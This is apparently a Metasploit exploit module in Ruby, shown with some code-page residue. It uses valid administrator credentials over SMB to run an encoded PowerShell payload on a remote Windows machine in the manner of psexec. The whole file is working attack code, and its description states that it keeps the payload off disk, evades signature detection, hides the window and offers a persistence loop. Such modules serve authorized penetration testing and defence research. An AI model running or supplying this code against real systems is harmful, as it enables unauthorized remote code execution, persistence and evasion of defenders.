98 lines
3.6 KiB
Ruby
98 lines
3.6 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/powershell'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
# Exploit mixins should be called first
|
|
include Msf::Exploit::Remote::SMB::Psexec
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
|
|
'Description' => %q{
|
|
This module uses a valid administrator username and password to execute a powershell
|
|
payload using a similar technique to the "psexec" utility provided by SysInternals. The
|
|
payload is encoded in base64 and executed from the commandline using the -encodedcommand
|
|
flag. Using this method, the payload is never written to disk, and given that each payload
|
|
is unique, is less prone to signature based detection. A persist option is provided to
|
|
execute the payload in a while loop in order to maintain a form of persistence. In the
|
|
event of a sandbox observing PSH execution, a delay and other obfuscation may be added to
|
|
avoid detection. In order to avoid interactive process notifications for the current user,
|
|
the psh payload has been reduced in size and wrapped in a powershell invocation which hides
|
|
the window entirely.
|
|
},
|
|
|
|
'Author' => [
|
|
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
|
|
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'WfsDelay' => 10,
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jan 01 1999',
|
|
'References' => [
|
|
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
|
[ 'OSVDB', '3106'],
|
|
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
|
|
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
|
|
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
|
|
]
|
|
))
|
|
|
|
register_options([
|
|
OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
|
if datastore['DryRun']
|
|
print_good command.inspect
|
|
return
|
|
end
|
|
|
|
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
|
|
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
|
|
end
|
|
|
|
# Try and authenticate with given credentials
|
|
if connect
|
|
begin
|
|
smb_login
|
|
rescue StandardError => autherror
|
|
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
|
|
end
|
|
# Execute the powershell command
|
|
print_status("#{peer} - Executing the payload...")
|
|
begin
|
|
return psexec(command)
|
|
rescue StandardError => exec_command_error
|
|
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
|
|
ensure
|
|
disconnect
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|
|
|